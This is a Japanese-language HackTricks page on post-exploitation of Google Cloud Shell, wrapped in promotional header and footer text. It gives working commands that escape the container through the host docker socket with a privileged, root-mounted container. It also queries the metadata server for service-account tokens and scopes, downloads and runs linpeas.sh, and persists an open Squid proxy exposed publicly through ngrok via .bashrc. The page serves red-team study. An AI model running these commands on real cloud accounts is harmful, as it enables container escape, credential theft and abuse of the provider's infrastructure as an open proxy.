GCP - Cloud Shell Post Exploitation

AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください!

• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

Cloud Shell

Cloud Shellに関する詳細情報は以下を確認してください:

GCP - Cloud Shell Enum

コンテナエスケープ

Google Cloud Shellはコンテナ内で実行されているため、次の操作を行うことでホストに簡単にエスケープできます:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

これはGoogleによって脆弱性とは見なされていませんが、その環境で何が起こっているかのより広い視野を提供します。

さらに、ホストからサービスアカウントトークンを見つけることができることに注意してください：

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
[e-mail]/

次のスコープを使用して:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/[e-mail]/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

LinPEASを使用してメタデータを列挙します:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissionsをサービスアカウントのトークンで使用した後、権限は発見されませんでした...

プロキシとして使用する

Google Cloud Shellインスタンスをプロキシとして使用したい場合は、次のコマンドを実行する必要があります（または.bashrcファイルに挿入します）：

sudo apt install -y squid

ただお知らせしますが、SquidはHTTPプロキシサーバーです。次の設定でsquid.confファイルを作成してください：

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf ファイルを /etc/squid にコピーします。

sudo cp squid.conf /etc/squid

最後に、squidサービスを実行します：

sudo service squid start

ngrokを使用してプロキシを外部から利用可能にします：

./ngrok tcp 3128

tcp:// URLをコピーした後、ブラウザからプロキシを実行したい場合は、tcp://部分とポートを削除し、ポートをブラウザのプロキシ設定のポートフィールドに入力することをお勧めします（squidはHTTPプロキシサーバーです）。

起動時のより良い使用のために、.bashrcファイルには以下の行を含めるべきです：

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

指示はhttps://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-keyからコピーされました。このページでCloud Shellであらゆる種類のソフトウェア（データベースやWindowsさえも）を実行するための他のクレイジーなアイデアを確認してください。

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！

• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

• HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出してハッキングトリックを共有してください。